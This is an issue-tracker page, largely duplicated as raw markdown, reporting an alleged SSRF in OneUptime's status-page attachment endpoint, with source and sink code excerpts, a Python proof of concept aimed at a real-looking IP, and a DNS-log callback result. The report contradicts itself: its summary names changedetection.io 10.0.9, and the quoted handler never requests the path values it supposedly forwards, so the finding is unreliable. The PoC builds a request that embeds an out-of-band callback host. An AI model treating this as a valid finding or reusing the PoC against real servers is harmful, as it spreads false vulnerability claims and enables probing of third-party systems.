SSRF vulnerability #59

Closed
opened 2026-04-05 16:18:47 +02:00 by MrUnknownDE · 0 comments
Owner

Originally created by @NinjaGPT on 2/26/2026

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in changedetection.io version 10.0.9, allowing an authenticated (or unauthenticated, depending on configuration) attacker to make arbitrary HTTP requests from the server to internal or external resources by submitting a malicious URL through the watch monitoring functionality.


Details

  • SOURCE
// source-code/oneuptime-master/Common/Server/API/StatusPageAPI.ts#L4985C3-L5113C4
4985→  private async getIncidentPublicNoteAttachment(
4986→    req: ExpressRequest,
4987→    res: ExpressResponse,
4988→  ): Promise<void> {
4989→    const statusPageIdParam: string | undefined = req.params["statusPageId"];
4990→    const incidentIdParam: string | undefined = req.params["incidentId"];
4991→    const noteIdParam: string | undefined = req.params["noteId"];
4992→    const fileIdParam: string | undefined = req.params["fileId"];
4993→
4994→    if (
4995→      !statusPageIdParam ||
4996→      !incidentIdParam ||
4997→      !noteIdParam ||
4998→      !fileIdParam
4999→    ) {
5000→      throw new NotFoundException("Attachment not found");
5001→    }
5002→
5003→    let statusPageId: ObjectID;
5004→    let incidentId: ObjectID;
5005→    let noteId: ObjectID;
5006→    let fileId: ObjectID;
5007→
5008→    try {
5009→      statusPageId = new ObjectID(statusPageIdParam);
5010→      incidentId = new ObjectID(incidentIdParam);
5011→      noteId = new ObjectID(noteIdParam);
5012→      fileId = new ObjectID(fileIdParam);
5013→    } catch {
5014→      throw new NotFoundException("Attachment not found");
5015→    }
5016→
5017→    await this.checkHasReadAccess({
5018→      statusPageId: statusPageId,
5019→      req: req,
5020→    });
5021→
5022→    const statusPage: StatusPage | null = await StatusPageService.findOneBy({
5023→      query: {
5024→        _id: statusPageId.toString(),
5025→      },
5026→      select: {
5027→        _id: true,
5028→        projectId: true,
5029→        showIncidentsOnStatusPage: true,
5030→      },
5031→      props: {
5032→        isRoot: true,
5033→      },
5034→    });
5035→
5036→    if (!statusPage || !statusPage.projectId) {
5037→      throw new NotFoundException("Attachment not found");
5038→    }
5039→
5040→    if (!statusPage.showIncidentsOnStatusPage) {
5041→      throw new NotFoundException("Attachment not found");
5042→    }
5043→
5044→    const { monitorsOnStatusPage } =
5045→      await StatusPageService.getMonitorIdsOnStatusPage({
5046→        statusPageId: statusPageId,
5047→      });
5048→
5049→    if (!monitorsOnStatusPage || monitorsOnStatusPage.length === 0) {
5050→      throw new NotFoundException("Attachment not found");
5051→    }
5052→
5053→    const incident: Incident | null = await IncidentService.findOneBy({
5054→      query: {
5055→        _id: incidentId.toString(),
5056→        projectId: statusPage.projectId!,
5057→        isVisibleOnStatusPage: true,
5058→        monitors: monitorsOnStatusPage as any,
5059→      },
5060→      select: {
5061→        _id: true,
5062→      },
5063→      props: {
5064→        isRoot: true,
5065→      },
5066→    });
5067→
5068→    if (!incident) {
5069→      throw new NotFoundException("Attachment not found");
5070→    }
5071→
5072→    const incidentPublicNote: IncidentPublicNote | null =
5073→      await IncidentPublicNoteService.findOneBy({
5074→        query: {
5075→          _id: noteId.toString(),
5076→          incidentId: incidentId.toString(),
5077→          projectId: statusPage.projectId!,
5078→        },
5079→        select: {
5080→          attachments: {
5081→            _id: true,
5082→            file: true,
5083→            fileType: true,
5084→            name: true,
5085→          },
5086→        },
5087→        props: {
5088→          isRoot: true,
5089→        },
5090→      });
5091→
5092→    if (!incidentPublicNote) {
5093→      throw new NotFoundException("Attachment not found");
5094→    }
5095→
5096→    const attachment: File | undefined = incidentPublicNote.attachments?.find(
5097→      (file: File) => {
5098→        const attachmentId: string | null = file._id
5099→          ? file._id.toString()
5100→          : file.id
5101→            ? file.id.toString()
5102→            : null;
5103→        return attachmentId === fileId.toString();
5104→      },
5105→    );
5106→
5107→    if (!attachment || !attachment.file) {
5108→      throw new NotFoundException("Attachment not found");
5109→    }
5110→
5111→    Response.setNoCacheHeaders(res);
5112→    return Response.sendFileResponse(req, res, attachment);
5113→  }
  • SINK
// source-code/oneuptime-master/Common/Utils/API.ts#L347C3-L517C4
347→  private static async fetchInternal<
348→    T extends
349→      | JSONObject
350→      | JSONArray
351→      | BaseModel
352→      | Array<BaseModel>
353→      | AnalyticsBaseModel
354→      | Array<AnalyticsBaseModel>,
355→  >(
356→    method: HTTPMethod,
357→    url: URL,
358→    data?: JSONObject | JSONArray,
359→    headers?: Headers,
360→    params?: Dictionary<string>,
361→    options?: RequestOptions,
362→  ): Promise<HTTPResponse<T> | HTTPErrorResponse> {
363→    const apiHeaders: Headers = this.getHeaders(headers);
364→
365→    if (params) {
366→      url.addQueryParams(params);
367→    }
368→
369→    try {
370→      const finalHeaders: Dictionary<string> = {
371→        ...apiHeaders,
372→        ...headers,
373→      };
374→
375→      let finalBody: JSONObject | JSONArray | URLSearchParams | undefined =
376→        data;
377→
378→      // if content-type is form-url-encoded, then stringify the data
379→
380→      if (
381→        finalHeaders["Content-Type"] === "application/x-www-form-urlencoded" &&
382→        data
383→      ) {
384→        finalBody = new URLSearchParams(data as Dictionary<string>);
385→      }
386→
387→      let currentRetry: number = 0;
388→      const maxRetries: number = options?.retries || 0;
389→      const exponentialBackoff: boolean = options?.exponentialBackoff || false;
390→
391→      let result: AxiosResponse | null = null;
392→
393→      while (currentRetry <= maxRetries) {
394→        currentRetry++;
395→        try {
396→          const axiosOptions: AxiosRequestConfig = {
397→            method: method,
398→            url: url.toString(),
399→            headers: finalHeaders,
400→            data: finalBody,
401→          };
402→
403→          if (options?.timeout) {
404→            axiosOptions.timeout = options.timeout;
405→          }
406→
407→          if (options?.doNotFollowRedirects) {
408→            axiosOptions.maxRedirects = 0;
409→          }
410→
411→          // Attach proxy agents per request if provided (avoids global side-effects)
412→          if (options?.httpAgent) {
413→            (axiosOptions as AxiosRequestConfig).httpAgent = options.httpAgent;
414→          }
415→          if (options?.httpsAgent) {
416→            (axiosOptions as AxiosRequestConfig).httpsAgent =
417→              options.httpsAgent;
418→          }
419→
420→          if (options?.onUploadProgress) {
421→            axiosOptions.onUploadProgress = options.onUploadProgress;
422→          }
423→
424→          result = await axios(axiosOptions);
425→
426→          break;
427→        } catch (e) {
428→          if (currentRetry <= maxRetries) {
429→            if (exponentialBackoff) {
430→              await Sleep.sleep(2 ** currentRetry * 1000);
431→            }
432→
433→            continue;
434→          } else {
435→            throw e;
436→          }
437→        }
438→      }
439→
440→      if (!result) {
441→        throw new APIException("No response received from server.");
442→      }
443→
444→      result.headers = await this.onResponseSuccessHeaders(
445→        result.headers as Dictionary<string>,
446→      );
447→
448→      const response: HTTPResponse<T> = new HTTPResponse<T>(
449→        result.status,
450→        result.data,
451→        result.headers as Dictionary<string>,
452→      );
453→
454→      return response;
455→    } catch (e) {
456→      const error: Error | AxiosError = e as Error | AxiosError;
457→
458→      if (!axios.isAxiosError(error)) {
459→        throw new APIException(error.message);
460→      }
461→
462→      const errorResponse: HTTPErrorResponse = this.getErrorResponse(error);
463→
464→      if (
465→        error.response?.status === 401 &&
466→        !options?.skipAuthRefresh &&
467→        !options?.hasAttemptedAuthRefresh
468→      ) {
469→        const retryUrl: URL = URL.fromString(url.toString());
470→
471→        const requestContext: AuthRetryContext["request"] = {
472→          method,
473→          url: retryUrl,
474→        };
475→
476→        if (data) {
477→          requestContext.data = data;
478→        }
479→
480→        if (headers) {
481→          requestContext.headers = headers;
482→        }
483→
484→        if (params) {
485→          requestContext.params = params;
486→        }
487→
488→        if (options) {
489→          requestContext.options = options;
490→        }
491→
492→        const refreshed: boolean = await this.tryRefreshAuth({
493→          error: errorResponse,
494→          request: requestContext,
495→        });
496→
497→        if (refreshed) {
498→          const nextOptions: RequestOptions = {
499→            ...(options || {}),
500→            hasAttemptedAuthRefresh: true,
501→          };
502→
503→          return await this.fetchInternal(
504→            method,
505→            retryUrl,
506→            data,
507→            headers,
508→            params,
509→            nextOptions,
510→          );
511→        }
512→      }
513→
514→      this.handleError(errorResponse);
515→      return errorResponse;
516→    }
517→  }

POC

import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
    """
    Match an API endpoint pattern with a given path.

    This function supports multiple path parameter syntaxes used by different web frameworks:
    - Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
    - Angle brackets: '/users/<int:id>' (Flask with converters)
    - Colon syntax: '/users/:id' (Express, Koa, Sinatra)
    - Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)

    Note: This function performs structural matching only and doesn't validate param types or regex constraints.

    Args:
      pattern (str): The endpoint pattern with parameter placeholders
      path (str): The actual path to match

    Returns:
      bool: True if the path structurally matches the pattern, otherwise False
    """
    pattern = pattern.strip() or '/'
    path = path.strip() or '/'
    if pattern == path:
        return True

    # Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
    # Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
    pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
    # Support for <param> and <type:param> syntax (Flask with converters)
    pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
    # Support for :param syntax (Express, Koa, Sinatra)
    pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
    # Add start and end anchors to ensure full match
    pattern = f'^{pattern}$'

    match = re.match(pattern, path)
    if match:
        return True
    return False
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        
        if match_api_pattern('/api/status-page/incident-public-note/attachment/example.us.oast.pro/example.us.oast.pro/example.us.oast.pro/example.us.oast.pro', urlparse(url).path):
            headers = headers or {}
            headers.update({'x-oneuptime-csrf-token': '', 'Cookie': ''})
            timeout = 30
        else:
            headers = headers or {}
            headers.update({'Cookie': ''})
            timeout = 30
        return super().request(
            method=method,
            url=url,
            params=params,
            data=data,
            headers=headers,
            cookies=cookies,
            files=files,
            auth=auth,
            timeout=timeout,
            allow_redirects=allow_redirects,
            proxies=proxies,
            hooks=hooks,
            stream=stream,
            verify=verify,
            cert=cert,
            json=json,
        )
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests
from urllib.parse import urljoin

# Define the target and payload
target_url = "http://136.117.224.158:80/api/status-page/incident-public-note/attachment/"
oob_url = 'http://$domain'

# Encode the OOB URL to handle special characters
encoded_oob_url = oob_url

# Define the full URL with query parameters
full_url = urljoin(target_url, f"{encoded_oob_url}/{encoded_oob_url}/{encoded_oob_url}/{encoded_oob_url}")

# Send the GET request
response = requests.get(full_url, verify=False, allow_redirects=False, timeout=30.0)

# Print the results
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
# ********************************** Poc End ***********************************
  • OUTPUT

++++++++++++++++++++++++++++++++++++ Dnslog ++++++++++++++++++++++++++++++++++++
Request was made from IP: 192.178.118.82
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

*Originally created by @NinjaGPT on 2/26/2026* # Summary A Server-Side Request Forgery (SSRF) vulnerability exists in changedetection.io version 10.0.9, allowing an authenticated (or unauthenticated, depending on configuration) attacker to make arbitrary HTTP requests from the server to internal or external resources by submitting a malicious URL through the watch monitoring functionality. --- # Details - SOURCE ``` // source-code/oneuptime-master/Common/Server/API/StatusPageAPI.ts#L4985C3-L5113C4 4985→ private async getIncidentPublicNoteAttachment( 4986→ req: ExpressRequest, 4987→ res: ExpressResponse, 4988→ ): Promise<void> { 4989→ const statusPageIdParam: string | undefined = req.params["statusPageId"]; 4990→ const incidentIdParam: string | undefined = req.params["incidentId"]; 4991→ const noteIdParam: string | undefined = req.params["noteId"]; 4992→ const fileIdParam: string | undefined = req.params["fileId"]; 4993→ 4994→ if ( 4995→ !statusPageIdParam || 4996→ !incidentIdParam || 4997→ !noteIdParam || 4998→ !fileIdParam 4999→ ) { 5000→ throw new NotFoundException("Attachment not found"); 5001→ } 5002→ 5003→ let statusPageId: ObjectID; 5004→ let incidentId: ObjectID; 5005→ let noteId: ObjectID; 5006→ let fileId: ObjectID; 5007→ 5008→ try { 5009→ statusPageId = new ObjectID(statusPageIdParam); 5010→ incidentId = new ObjectID(incidentIdParam); 5011→ noteId = new ObjectID(noteIdParam); 5012→ fileId = new ObjectID(fileIdParam); 5013→ } catch { 5014→ throw new NotFoundException("Attachment not found"); 5015→ } 5016→ 5017→ await this.checkHasReadAccess({ 5018→ statusPageId: statusPageId, 5019→ req: req, 5020→ }); 5021→ 5022→ const statusPage: StatusPage | null = await StatusPageService.findOneBy({ 5023→ query: { 5024→ _id: statusPageId.toString(), 5025→ }, 5026→ select: { 5027→ _id: true, 5028→ projectId: true, 5029→ showIncidentsOnStatusPage: true, 5030→ }, 5031→ props: { 5032→ isRoot: true, 5033→ }, 5034→ }); 5035→ 5036→ if (!statusPage || !statusPage.projectId) { 5037→ throw new NotFoundException("Attachment not found"); 5038→ } 5039→ 5040→ if (!statusPage.showIncidentsOnStatusPage) { 5041→ throw new NotFoundException("Attachment not found"); 5042→ } 5043→ 5044→ const { monitorsOnStatusPage } = 5045→ await StatusPageService.getMonitorIdsOnStatusPage({ 5046→ statusPageId: statusPageId, 5047→ }); 5048→ 5049→ if (!monitorsOnStatusPage || monitorsOnStatusPage.length === 0) { 5050→ throw new NotFoundException("Attachment not found"); 5051→ } 5052→ 5053→ const incident: Incident | null = await IncidentService.findOneBy({ 5054→ query: { 5055→ _id: incidentId.toString(), 5056→ projectId: statusPage.projectId!, 5057→ isVisibleOnStatusPage: true, 5058→ monitors: monitorsOnStatusPage as any, 5059→ }, 5060→ select: { 5061→ _id: true, 5062→ }, 5063→ props: { 5064→ isRoot: true, 5065→ }, 5066→ }); 5067→ 5068→ if (!incident) { 5069→ throw new NotFoundException("Attachment not found"); 5070→ } 5071→ 5072→ const incidentPublicNote: IncidentPublicNote | null = 5073→ await IncidentPublicNoteService.findOneBy({ 5074→ query: { 5075→ _id: noteId.toString(), 5076→ incidentId: incidentId.toString(), 5077→ projectId: statusPage.projectId!, 5078→ }, 5079→ select: { 5080→ attachments: { 5081→ _id: true, 5082→ file: true, 5083→ fileType: true, 5084→ name: true, 5085→ }, 5086→ }, 5087→ props: { 5088→ isRoot: true, 5089→ }, 5090→ }); 5091→ 5092→ if (!incidentPublicNote) { 5093→ throw new NotFoundException("Attachment not found"); 5094→ } 5095→ 5096→ const attachment: File | undefined = incidentPublicNote.attachments?.find( 5097→ (file: File) => { 5098→ const attachmentId: string | null = file._id 5099→ ? file._id.toString() 5100→ : file.id 5101→ ? file.id.toString() 5102→ : null; 5103→ return attachmentId === fileId.toString(); 5104→ }, 5105→ ); 5106→ 5107→ if (!attachment || !attachment.file) { 5108→ throw new NotFoundException("Attachment not found"); 5109→ } 5110→ 5111→ Response.setNoCacheHeaders(res); 5112→ return Response.sendFileResponse(req, res, attachment); 5113→ } ``` - SINK ``` // source-code/oneuptime-master/Common/Utils/API.ts#L347C3-L517C4 347→ private static async fetchInternal< 348→ T extends 349→ | JSONObject 350→ | JSONArray 351→ | BaseModel 352→ | Array<BaseModel> 353→ | AnalyticsBaseModel 354→ | Array<AnalyticsBaseModel>, 355→ >( 356→ method: HTTPMethod, 357→ url: URL, 358→ data?: JSONObject | JSONArray, 359→ headers?: Headers, 360→ params?: Dictionary<string>, 361→ options?: RequestOptions, 362→ ): Promise<HTTPResponse<T> | HTTPErrorResponse> { 363→ const apiHeaders: Headers = this.getHeaders(headers); 364→ 365→ if (params) { 366→ url.addQueryParams(params); 367→ } 368→ 369→ try { 370→ const finalHeaders: Dictionary<string> = { 371→ ...apiHeaders, 372→ ...headers, 373→ }; 374→ 375→ let finalBody: JSONObject | JSONArray | URLSearchParams | undefined = 376→ data; 377→ 378→ // if content-type is form-url-encoded, then stringify the data 379→ 380→ if ( 381→ finalHeaders["Content-Type"] === "application/x-www-form-urlencoded" && 382→ data 383→ ) { 384→ finalBody = new URLSearchParams(data as Dictionary<string>); 385→ } 386→ 387→ let currentRetry: number = 0; 388→ const maxRetries: number = options?.retries || 0; 389→ const exponentialBackoff: boolean = options?.exponentialBackoff || false; 390→ 391→ let result: AxiosResponse | null = null; 392→ 393→ while (currentRetry <= maxRetries) { 394→ currentRetry++; 395→ try { 396→ const axiosOptions: AxiosRequestConfig = { 397→ method: method, 398→ url: url.toString(), 399→ headers: finalHeaders, 400→ data: finalBody, 401→ }; 402→ 403→ if (options?.timeout) { 404→ axiosOptions.timeout = options.timeout; 405→ } 406→ 407→ if (options?.doNotFollowRedirects) { 408→ axiosOptions.maxRedirects = 0; 409→ } 410→ 411→ // Attach proxy agents per request if provided (avoids global side-effects) 412→ if (options?.httpAgent) { 413→ (axiosOptions as AxiosRequestConfig).httpAgent = options.httpAgent; 414→ } 415→ if (options?.httpsAgent) { 416→ (axiosOptions as AxiosRequestConfig).httpsAgent = 417→ options.httpsAgent; 418→ } 419→ 420→ if (options?.onUploadProgress) { 421→ axiosOptions.onUploadProgress = options.onUploadProgress; 422→ } 423→ 424→ result = await axios(axiosOptions); 425→ 426→ break; 427→ } catch (e) { 428→ if (currentRetry <= maxRetries) { 429→ if (exponentialBackoff) { 430→ await Sleep.sleep(2 ** currentRetry * 1000); 431→ } 432→ 433→ continue; 434→ } else { 435→ throw e; 436→ } 437→ } 438→ } 439→ 440→ if (!result) { 441→ throw new APIException("No response received from server."); 442→ } 443→ 444→ result.headers = await this.onResponseSuccessHeaders( 445→ result.headers as Dictionary<string>, 446→ ); 447→ 448→ const response: HTTPResponse<T> = new HTTPResponse<T>( 449→ result.status, 450→ result.data, 451→ result.headers as Dictionary<string>, 452→ ); 453→ 454→ return response; 455→ } catch (e) { 456→ const error: Error | AxiosError = e as Error | AxiosError; 457→ 458→ if (!axios.isAxiosError(error)) { 459→ throw new APIException(error.message); 460→ } 461→ 462→ const errorResponse: HTTPErrorResponse = this.getErrorResponse(error); 463→ 464→ if ( 465→ error.response?.status === 401 && 466→ !options?.skipAuthRefresh && 467→ !options?.hasAttemptedAuthRefresh 468→ ) { 469→ const retryUrl: URL = URL.fromString(url.toString()); 470→ 471→ const requestContext: AuthRetryContext["request"] = { 472→ method, 473→ url: retryUrl, 474→ }; 475→ 476→ if (data) { 477→ requestContext.data = data; 478→ } 479→ 480→ if (headers) { 481→ requestContext.headers = headers; 482→ } 483→ 484→ if (params) { 485→ requestContext.params = params; 486→ } 487→ 488→ if (options) { 489→ requestContext.options = options; 490→ } 491→ 492→ const refreshed: boolean = await this.tryRefreshAuth({ 493→ error: errorResponse, 494→ request: requestContext, 495→ }); 496→ 497→ if (refreshed) { 498→ const nextOptions: RequestOptions = { 499→ ...(options || {}), 500→ hasAttemptedAuthRefresh: true, 501→ }; 502→ 503→ return await this.fetchInternal( 504→ method, 505→ retryUrl, 506→ data, 507→ headers, 508→ params, 509→ nextOptions, 510→ ); 511→ } 512→ } 513→ 514→ this.handleError(errorResponse); 515→ return errorResponse; 516→ } 517→ } ``` --- # POC ``` import re import requests from requests.sessions import Session from urllib.parse import urlparse def match_api_pattern(pattern, path) -> bool: """ Match an API endpoint pattern with a given path. This function supports multiple path parameter syntaxes used by different web frameworks: - Curly braces: '/users/{id}' (OpenAPI, Flask, Django) - Angle brackets: '/users/<int:id>' (Flask with converters) - Colon syntax: '/users/:id' (Express, Koa, Sinatra) - Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS) Note: This function performs structural matching only and doesn't validate param types or regex constraints. Args: pattern (str): The endpoint pattern with parameter placeholders path (str): The actual path to match Returns: bool: True if the path structurally matches the pattern, otherwise False """ pattern = pattern.strip() or '/' path = path.strip() or '/' if pattern == path: return True # Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters) # Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS) pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern) # Support for <param> and <type:param> syntax (Flask with converters) pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern) # Support for :param syntax (Express, Koa, Sinatra) pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern) # Add start and end anchors to ensure full match pattern = f'^{pattern}$' match = re.match(pattern, path) if match: return True return False class CustomSession(Session): def request( self, method, url, params = None, data = None, headers = None, cookies = None, files = None, auth = None, timeout = None, allow_redirects = True, proxies = None, hooks = None, stream = None, verify = None, cert = None, json = None, ): if match_api_pattern('/api/status-page/incident-public-note/attachment/example.us.oast.pro/example.us.oast.pro/example.us.oast.pro/example.us.oast.pro', urlparse(url).path): headers = headers or {} headers.update({'x-oneuptime-csrf-token': '', 'Cookie': ''}) timeout = 30 else: headers = headers or {} headers.update({'Cookie': ''}) timeout = 30 return super().request( method=method, url=url, params=params, data=data, headers=headers, cookies=cookies, files=files, auth=auth, timeout=timeout, allow_redirects=allow_redirects, proxies=proxies, hooks=hooks, stream=stream, verify=verify, cert=cert, json=json, ) requests.Session = CustomSession requests.sessions.Session = CustomSession # ********************************* Poc Start ********************************** import requests from urllib.parse import urljoin # Define the target and payload target_url = "http://136.117.224.158:80/api/status-page/incident-public-note/attachment/" oob_url = 'http://$domain' # Encode the OOB URL to handle special characters encoded_oob_url = oob_url # Define the full URL with query parameters full_url = urljoin(target_url, f"{encoded_oob_url}/{encoded_oob_url}/{encoded_oob_url}/{encoded_oob_url}") # Send the GET request response = requests.get(full_url, verify=False, allow_redirects=False, timeout=30.0) # Print the results print(f"Status Code: {response.status_code}") print(f"Response Text: {response.text}") # ********************************** Poc End *********************************** ``` - OUTPUT ``` ++++++++++++++++++++++++++++++++++++ Dnslog ++++++++++++++++++++++++++++++++++++ Request was made from IP: 192.178.118.82 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ```
MrUnknownDE added the bugbugbugbugbugbugbugbugbugbug labels 2026-04-05 16:18:47 +02:00
Sign in to join this conversation.
No Label bug bug bug bug bug bug bug bug bug bug
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: github/oneuptime#59